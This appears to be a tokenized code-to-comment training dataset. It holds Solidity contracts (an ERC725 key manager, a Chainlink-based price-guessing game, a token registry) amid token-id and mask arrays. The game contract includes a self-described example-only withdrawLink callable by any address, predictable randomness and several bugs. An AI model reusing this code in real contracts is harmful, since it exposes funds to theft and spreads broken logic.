-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.4.24;
import "../ERC/ERC725.sol";
import "../lib/KeyStore.sol";
import "../lib/ExecutionStore.sol";
/**
* @title KeyManageable
* @author Wu Di
* @notice Abstract contract for ERC725 implementation
* @dev Key data is stored using KeyStore library.
* Inspired by Mircea Pasoi's implementation at https://github.com/mirceapasoi/erc725-735
*/
contract KeyManageable is ERC725 {
// Key storage
using KeyStore for KeyStore.Keys;
using KeyStore for KeyStore.Key;
using ExecutionStore for ExecutionStore.Executions;
ExecutionStore.Executions internal executions;
/**
* @dev Number of keys managed by the contract
* @dev Each key can have multiple purposes
* @return Unsigned integer number of keys
*/
function numKeys()
external
view
returns (uint)
{
return executions.allKeys.numKeys;
}
/**
* @dev Checks if sender is either the identity contract or a MANAGEMENT_KEY
* @dev If the multi-sig required (threshold > 1), it will throw an error
* @return `true` if sender is either identity contract or a MANAGEMENT_KEY
*/
function _managementOrSelf()
internal
view
returns (bool found)
{
if (msg.sender == address(this)) {
// Identity contract itself
return true;
}
// Only works with 1 key threshold, otherwise need multi-sig
if (executions.managementThreshold == 1) {
return executions.allKeys.find(
KeyStore.addrToKey(msg.sender),
executions.allKeys.enums.MANAGEMENT_KEY()
);
}
return false;
}
/**
* @dev Modifier that only allows keys of purpose MANAGEMENT_KEY,
* or the identity itself
*/
modifier onlyManagementOrSelf {
require(_managementOrSelf());
_;
}
}
| * @dev Checks if sender is either the identity contract or a MANAGEMENT_KEY @dev If the multi-sig required (threshold > 1), it will throw an error @return `true` if sender is either identity contract or a MANAGEMENT_KEY/ Identity contract itself Only works with 1 key threshold, otherwise need multi-sig | function _managementOrSelf()
internal
view
returns (bool found)
{
if (msg.sender == address(this)) {
return true;
}
if (executions.managementThreshold == 1) {
return executions.allKeys.find(
KeyStore.addrToKey(msg.sender),
executions.allKeys.enums.MANAGEMENT_KEY()
);
}
return false;
}
| 6,420,751 | [
1,
4081,
309,
5793,
353,
3344,
326,
4215,
6835,
578,
279,
20972,
2833,
3212,
67,
3297,
225,
971,
326,
3309,
17,
7340,
1931,
261,
8699,
405,
404,
3631,
518,
903,
604,
392,
555,
327,
1375,
3767,
68,
309,
5793,
353,
3344,
4215,
6835,
578,
279,
20972,
2833,
3212,
67,
3297,
19,
7808,
6835,
6174,
5098,
6330,
598,
404,
498,
5573,
16,
3541,
1608,
3309,
17,
7340,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
17381,
1162,
10084,
1435,
203,
3639,
2713,
203,
3639,
1476,
203,
3639,
1135,
261,
6430,
1392,
13,
203,
565,
288,
203,
3639,
309,
261,
3576,
18,
15330,
422,
1758,
12,
2211,
3719,
288,
203,
5411,
327,
638,
31,
203,
3639,
289,
203,
3639,
309,
261,
4177,
6170,
18,
17381,
7614,
422,
404,
13,
288,
203,
5411,
327,
26845,
18,
454,
2396,
18,
4720,
12,
203,
7734,
17017,
18,
4793,
774,
653,
12,
3576,
18,
15330,
3631,
203,
7734,
26845,
18,
454,
2396,
18,
7924,
87,
18,
9560,
2833,
3212,
67,
3297,
1435,
203,
5411,
11272,
203,
3639,
289,
203,
3639,
327,
629,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.6.0 <0.9.0;
pragma experimental ABIEncoderV2;
import "@chainlink/contracts/src/v0.6/ChainlinkClient.sol";
interface GetCurrencyInfoInterface {
function addCurrency(int256 _currencyQuantity) external;
function getCurrencyName(int256 _id) external view returns (bytes32);
function getCurrencyFullName(int256 _id) external view returns (bytes32);
function getCurrencyOverviewUrl(int256 _id) external view returns (bytes32);
function getCurrencyAssetLaunchDate(int256 _id)
external
view
returns (bytes32);
function getCurrencyLogoUrl(int256 _id) external view returns (bytes32);
function getCurrencyIntro(int256 _id) external view returns (bytes memory);
}
interface GetAnswerInterface {
function strAdd(
string calldata _a,
string calldata _b,
string calldata _c
) external returns (string memory);
function getVolume() external view returns (uint256);
function requestVolumeData(
string calldata _currenyName,
string calldata _questionName,
string calldata _apiUrl
) external returns (bytes32 requestId);
}
interface GetVRFInterface {
function getVRF() external view returns (uint256);
function getRandomNumber() external returns (bytes32 requestId);
}
interface GenerateBadgeInterface {
function issueNFT(string calldata name, address userAddress) external;
}
contract AddGameInfo is ChainlinkClient {
int256 public currencyQuantity;
int256 public dailyGameQuantity;
int256 public weeklyGameQuantity;
int256 public monthlyGameQuantity;
bytes32 public reqID_VRF;
int256 public rand_b;
uint public randomNum=now/10000000;
int256 public totalGameQty;
// Key: gameListId
struct GameList {
int256 questionId; // 2 items
int256 currencyId; // which currency // currencyQuantity items
uint256 revealTime; // gameParticipateStartTime
int256 lifeLengthId; // 3 items
string property; // 1 items
bool isActivity; //
bool isClose; //
int256[] options;
}
struct CurrencyList {
bytes32 name;
bytes32 fullName;
bytes32 overviewUrl;
bytes32 assetLaunchDate;
bytes32 logoUrl;
string currencyIntro;
}
struct QuestionList{
string questionName; //json path
string questionDescription; //question text
}
struct OptionsList {
int256 optionsContet;
int256 userQuantity;
address[] userAddress;
}
struct LifeLengthList {
int256 lifeLength; // daily=1,weekly=7,monthly=30
int256 gameQuantity; // daily=30,weekly=4,monthly=1
string title;
}
struct GameInfo {
int256 gameId;
string gameTitle;
string gameQuestion;
string gameDescription;
uint256 gameParticipateStartTime;
string gameWindow; // Daily, Weekly, Monthly, Lifetime
string gameProperty;
string gameLogoLink;
int256 numOfParticipants;
}
mapping(int256 => CurrencyList) public currencyList; // key: currencyId
mapping(int256 => GameList) public gameList; // key: gameListId
mapping(int256 => GameInfo) public gameInfoList; // return to front-end
mapping(int256 => mapping(int256 => OptionsList)) public optionsList; // key1: gameListId, key2: optionsListId
mapping(int256 => string) public propertyList;
mapping(int256 => LifeLengthList) public lifeLengthList;
mapping(int256 => QuestionList) public questionList;
/*
* Network: Polygon
*/
address GetCurrencyInfoInterfaceAddress = 0x59F08372ab30E64F61AF8594c1163379ACAD27C5;
GetCurrencyInfoInterface getCurrencyInfoContract = GetCurrencyInfoInterface(GetCurrencyInfoInterfaceAddress);
address GetAnswerInterfaceAddress = 0xbE56D8D1d1a529DD83F1188d3B0949A2828F45a5;
GetAnswerInterface getAnswerContract = GetAnswerInterface(GetCurrencyInfoInterfaceAddress);
address GetVRFInterfaceAddress = 0xa7986Fb6438db392b60aaA6Fba3b1B7c5514dD10;
GetVRFInterface getVRFContract = GetVRFInterface(GetVRFInterfaceAddress);
address GenerateBadgeInterfaceAddress = 0x0404E505c13C659b444F3566777901C824C82566;
GenerateBadgeInterface generateBadgeContract = GenerateBadgeInterface(GenerateBadgeInterfaceAddress);
constructor() public {
setChainlinkToken(0x326C977E6efc84E512bB9C30f76E30c160eD06FB);
questionList[1].questionName = "VOLUME";
questionList[1]
.questionDescription = "Guess the first digit before the decimal point (unit digit)for the future price";
questionList[2].questionName = "VOLUME";
questionList[2]
.questionDescription = "Guess the hundreds digit (or hundredths if below $10) of the totol volumne";
questionList[3].questionName = "VOLUME";
questionList[3]
.questionDescription = "Guess the tens digit (or tenths if below $5) of the future price";
questionList[4].questionName = "PRICE";
questionList[4]
.questionDescription = "Guess the hundreds digit (or hundredths if below $10) of the future price";
questionList[5].questionName = "PRICE";
questionList[5]
.questionDescription = "Guess the first digit before the decimal point (unit digit)for the future price";
questionList[6].questionName = "PRICE";
questionList[6]
.questionDescription = "Guess the tens digit (or tenths if below $5) of the future price";
propertyList[1] = "Crypto Currency";
lifeLengthList[1].lifeLength = 1;
lifeLengthList[1].gameQuantity = 10;
lifeLengthList[1].title = "Daily";
lifeLengthList[2].lifeLength = 7;
lifeLengthList[2].gameQuantity = 2;
lifeLengthList[2].title = "Weekly";
lifeLengthList[3].lifeLength = 30;
lifeLengthList[3].gameQuantity = 1;
lifeLengthList[3].title = "Monthly";
currencyQuantity = 10;
}
// 1. Update currency list every monthly. currency list is volume of top 10.
function makeCurrencyList() public{
LinkTokenInterface linkToken = LinkTokenInterface(chainlinkTokenAddress());
require(linkToken.transfer(GetCurrencyInfoInterfaceAddress, linkToken.balanceOf(address(this))), "Unable to transfer");
getCurrencyInfoContract.addCurrency(currencyQuantity);
}
// 2. Get currency information after execute the function of makeCurrencyList
function getCurrencyList() public{
for(int256 i=1;i<=currencyQuantity;i++){
currencyList[i].name = getCurrencyInfoContract.getCurrencyName(i);
currencyList[i].fullName = getCurrencyInfoContract.getCurrencyFullName(i);
currencyList[i].overviewUrl = getCurrencyInfoContract.getCurrencyOverviewUrl(i);
currencyList[i].assetLaunchDate = getCurrencyInfoContract.getCurrencyAssetLaunchDate(i);
currencyList[i].logoUrl = getCurrencyInfoContract.getCurrencyLogoUrl(i);
}
}
function getRandom() public returns (int256) {
LinkTokenInterface linkToken =
LinkTokenInterface(chainlinkTokenAddress());
require(
linkToken.transfer(
GetVRFInterfaceAddress,
linkToken.balanceOf(address(this))
),
"Unable to transfer"
);
reqID_VRF = getVRFContract.getRandomNumber();
randomNum = getVRFContract.getVRF() / 10000000;
return int256(randomNum);
}
// 3.5
function makeOptions(int256 _questionId, int256 _gameId) public{
if(_questionId == 1){
gameList[_gameId].options = [1,2,3,4,5,6,7,8,9,0];
optionsList[_gameId][1].optionsContet = 1;
optionsList[_gameId][2].optionsContet = 2;
optionsList[_gameId][3].optionsContet = 3;
optionsList[_gameId][4].optionsContet = 4;
optionsList[_gameId][5].optionsContet = 5;
optionsList[_gameId][6].optionsContet = 6;
optionsList[_gameId][7].optionsContet = 7;
optionsList[_gameId][8].optionsContet = 8;
optionsList[_gameId][9].optionsContet = 9;
optionsList[_gameId][10].optionsContet = 0;
} else if (_questionId == 2) {
optionsList[_gameId][1].optionsContet = 0;
optionsList[_gameId][2].optionsContet = 1;
optionsList[_gameId][3].optionsContet = 2;
}
}
// 3. make Game information list
int256 currentTotalGameQty;
function makeDailyGame() public {
currentTotalGameQty = 1;
uint8 totalQuestion = 6;
randomNum = now / 10000000;
for (int256 i = 1; i <= 3; i++) {
// i=1 daily,i=2 weekly,i=3 monthly
for (
int256 gameId = 1;
gameId <= lifeLengthList[i].gameQuantity;
gameId++
) {
// gameList for indexes
gameList[currentTotalGameQty].questionId = int256(
((int256(randomNum) * gameId) % totalQuestion) + 1
);
makeOptions(
((int256(randomNum) * gameId) % 2) + 1,
currentTotalGameQty
);
gameList[currentTotalGameQty].currencyId =
((int256(randomNum) * gameId) % currencyQuantity) +
1;
gameList[currentTotalGameQty].revealTime = 0;
gameList[currentTotalGameQty].lifeLengthId = i;
gameList[currentTotalGameQty].property = propertyList[1];
gameList[currentTotalGameQty].isActivity = false;
gameList[currentTotalGameQty].isClose = false;
// gameInfo for details
gameInfoList[currentTotalGameQty].gameId = currentTotalGameQty;
gameInfoList[currentTotalGameQty].gameTitle = bytes32ToString(
currencyList[gameList[currentTotalGameQty].currencyId].name
);
gameInfoList[currentTotalGameQty].gameQuestion = questionList[
gameList[currentTotalGameQty].questionId
]
.questionDescription;
// gameInfoList[currentTotalGameQty].gameDescription = currencyList[gameList[currentTotalGameQty].currencyId].currencyIntro;
gameInfoList[currentTotalGameQty].gameDescription = "";
gameInfoList[currentTotalGameQty]
.gameParticipateStartTime = now;
gameInfoList[currentTotalGameQty].gameWindow = lifeLengthList[
gameList[currentTotalGameQty].lifeLengthId
]
.title;
gameInfoList[currentTotalGameQty].gameProperty = gameList[
currentTotalGameQty
]
.property;
gameInfoList[currentTotalGameQty]
.gameLogoLink = bytes32ToString(
currencyList[gameList[currentTotalGameQty].currencyId]
.logoUrl
);
gameInfoList[currentTotalGameQty].numOfParticipants = 0;
currentTotalGameQty++;
}
}
}
// 4.
function activeGameStatus() public{
gameList[1].isActivity = true;
gameList[1].isClose = true;
gameList[1+lifeLengthList[1].gameQuantity].isActivity = true;
gameList[1+lifeLengthList[1].gameQuantity].isClose = true;
gameList[1+lifeLengthList[1].gameQuantity+lifeLengthList[2].gameQuantity].isActivity = true;
gameList[1+lifeLengthList[1].gameQuantity+lifeLengthList[2].gameQuantity].isClose = true;
}
/*
struct GameInfo{
int256 gameId;
bytes32 gameTitle;
string gameQuestion;
bytes gameDescription;
//int256[][] gameAnsOptions;
//uint gameWindowEndTime;
uint gameParticipateStartTime;
//uint gameParticipateEndTime;
string gameWindow;
string gameProperty;
bytes32 gameLogoLink;
int256 numOfParticipants;
}
*/
int256[] availableGameIds;
function storeAvailableGameIds() public {
delete availableGameIds;
int256 totalGameQty =
lifeLengthList[1].gameQuantity +
lifeLengthList[2].gameQuantity +
lifeLengthList[3].gameQuantity;
for (int256 gameId = totalGameQty; gameId > 0; gameId--) {
if (gameList[gameId].isActivity || gameList[gameId].isClose) {
availableGameIds.push(gameId);
}
}
}
function getAvailableGameIds() public view returns (int256[] memory) {
int256[] memory list = availableGameIds;
return list;
}
function bytes32ToString(bytes32 _bytes32) public returns (string memory) {
uint8 i = 0;
while (i < 32 && _bytes32[i] != 0) {
i++;
}
bytes memory bytesArray = new bytes(i);
for (i = 0; i < 32 && _bytes32[i] != 0; i++) {
bytesArray[i] = _bytes32[i];
}
return string(bytesArray);
}
function getAnswer(int256 _gameId) public {
string memory url_main;
string memory url_sub;
bytes32 reqID;
string memory currencyName =
bytes32ToString(currencyList[gameList[_gameId].currencyId].name);
url_main = "https://min-api.cryptocompare.com/data/pricemultifull?fsyms=";
url_sub = "&tsyms=USD";
LinkTokenInterface linkToken =
LinkTokenInterface(chainlinkTokenAddress());
require(
linkToken.transfer(
GetAnswerInterfaceAddress,
linkToken.balanceOf(address(this))
),
"Unable to transfer"
);
reqID = getAnswerContract.requestVolumeData(
currencyName,
questionList[gameList[_gameId].questionId].questionName,
getAnswerContract.strAdd(url_main, currencyName, url_sub)
);
}
function returnAnswer() public view returns (uint256) {
//return getAnswerContract.getVolume();
}
function processGameResult(int256 gameId) public {
int preciseAnswer = int(getPreciseAnswer(gameId));
for (uint k = 1; k <= gameList[gameId].options.length; k++) {
address[] memory users = optionsList[gameId][int(k)].userAddress;
if (gameList[gameId].options[uint(k)] == preciseAnswer) {
// daily games issue NFT as reward
if (gameList[gameId].lifeLengthId == 1) {
for (uint i = 1; i <= users.length; i++) {
generateBadgeContract.issueNFT(bytes32ToString(currencyList[gameList[gameId].currencyId].name), users[k]);
}
} else {
for (uint i = 1; i <= users.length; i++) {
// issueCurrency(gameId, users[k], true, gameList[gameId].lifeLengthId);
}
}
} else {
for (uint i = 1; i <= users.length; i++) {
// issueCurrency(gameId, users[k], false, gameList[gameId].lifeLengthId);
}
}
}
}
function getPreciseAnswer(int256 gameId) public returns (uint) {
int256 _qid = gameList[gameId].questionId;
uint answer;
// uint volume = getAnswerContract.getVolume();
uint volume = 12342;
// PRICE uses decimal
if (keccak256(abi.encodePacked(questionList[_qid].questionName)) == keccak256(abi.encodePacked("PRICE"))) {
answer = volume % 10;
} else {
answer = volume % 3;
}
return answer;
}
//
function addParticipant(int256 _gameId, address _userAddress, int256 _optionId) public{
optionsList[_gameId][_optionId].userAddress.push(_userAddress);
optionsList[_gameId][_optionId].userQuantity++;
}
/**
* Withdraw LINK from this contract
*
* DO NOT USE THIS IN PRODUCTION AS IT CAN BE CALLED BY ANY ADDRESS.
* THIS IS PURELY FOR EXAMPLE PURPOSES.
*/
function withdrawLink() external {
LinkTokenInterface linkToken = LinkTokenInterface(chainlinkTokenAddress());
require(linkToken.transfer(msg.sender, linkToken.balanceOf(address(this))), "Unable to transfer");
}
}
| gameParticipateStartTime
| uint256 revealTime; | 12,721,482 | [
1,
13957,
1988,
24629,
340,
13649,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
2254,
5034,
283,
24293,
950,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.5.4;
import "../kernel/Owned.sol";
/**
* @title XTokenRegistry
* @dev mapping between underlying assets and their corresponding XToken.
* @dev This has not been audited please do not use in production
*/
contract TokenRegistry is Owned {
address[] tokens;
mapping (address => XTokenInfo) internal XToken;
struct XTokenInfo {
bool exists;
uint128 index;
address market;
}
event XTokenAdded(address indexed _underlying, address indexed _XToken);
event XTokenRemoved(address indexed _underlying);
/**
* @dev Adds a new XToken to the registry.
* @param _underlying The underlying asset.
* @param _XToken The XToken.
*/
function addXToken(address _underlying, address _XToken) external onlyOwner {
require(!XToken[_underlying].exists, "CR: XToken already added");
XToken[_underlying].exists = true;
XToken[_underlying].index = uint128(tokens.push(_underlying) - 1);
XToken[_underlying].market = _XToken;
emit XTokenAdded(_underlying, _XToken);
}
/**
* @dev Removes a XToken from the registry.
* @param _underlying The underlying asset.
*/
function removeXToken(address _underlying) external onlyOwner {
require(XToken[_underlying].exists, "CR: XToken does not exist");
address last = tokens[tokens.length - 1];
if (_underlying != last) {
uint128 targetIndex = XToken[_underlying].index;
tokens[targetIndex] = last;
XToken[last].index = targetIndex;
}
tokens.length --;
delete XToken[_underlying];
emit XTokenRemoved(_underlying);
}
/**
* @dev Gets the XToken for a given underlying asset.
* @param _underlying The underlying asset.
*/
function getXToken(address _underlying) external view returns (address) {
return XToken[_underlying].market;
}
/**
* @dev Gets the list of supported underlyings.
*/
function listUnderlyings() external view returns (address[] memory) {
address[] memory underlyings = new address[](tokens.length);
for (uint256 i = 0; i < tokens.length; i++) {
underlyings[i] = tokens[i];
}
return underlyings;
}
} | * @dev Removes a XToken from the registry. @param _underlying The underlying asset./ | function removeXToken(address _underlying) external onlyOwner {
require(XToken[_underlying].exists, "CR: XToken does not exist");
address last = tokens[tokens.length - 1];
if (_underlying != last) {
uint128 targetIndex = XToken[_underlying].index;
tokens[targetIndex] = last;
XToken[last].index = targetIndex;
}
tokens.length --;
delete XToken[_underlying];
emit XTokenRemoved(_underlying);
}
| 6,442,585 | [
1,
6220,
279,
1139,
1345,
628,
326,
4023,
18,
225,
389,
9341,
6291,
1021,
6808,
3310,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1206,
60,
1345,
12,
2867,
389,
9341,
6291,
13,
3903,
1338,
5541,
288,
203,
3639,
2583,
12,
60,
1345,
63,
67,
9341,
6291,
8009,
1808,
16,
315,
5093,
30,
1139,
1345,
1552,
486,
1005,
8863,
203,
3639,
1758,
1142,
273,
2430,
63,
7860,
18,
2469,
300,
404,
15533,
203,
3639,
309,
261,
67,
9341,
6291,
480,
1142,
13,
288,
203,
5411,
2254,
10392,
1018,
1016,
273,
1139,
1345,
63,
67,
9341,
6291,
8009,
1615,
31,
203,
5411,
2430,
63,
3299,
1016,
65,
273,
1142,
31,
203,
5411,
1139,
1345,
63,
2722,
8009,
1615,
273,
1018,
1016,
31,
203,
3639,
289,
203,
3639,
2430,
18,
2469,
1493,
31,
203,
3639,
1430,
1139,
1345,
63,
67,
9341,
6291,
15533,
203,
3639,
3626,
1139,
1345,
10026,
24899,
9341,
6291,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.7.4;
// SPDX-License-Identifier: MIT
interface IESDS {
function redeemCoupons(uint256 epoch, uint256 couponAmount) external;
function transferCoupons(address sender, address recipient, uint256 epoch, uint256 amount) external;
}
interface IERC20 {
function transfer(address recipient, uint256 amount) external returns (bool);
}
// @notice Lets anybody trustlessly redeem coupons on anyone else's behalf for a fee (default fee is 1%).
// Requires that the coupon holder has previously approved this contract via the ESDS `approveCoupons` function.
// @dev Bots should scan for the `CouponApproval` event emitted by the ESDS `approveCoupons` function to find out which
// users have approved this contract to redeem their coupons.
contract CouponClipper {
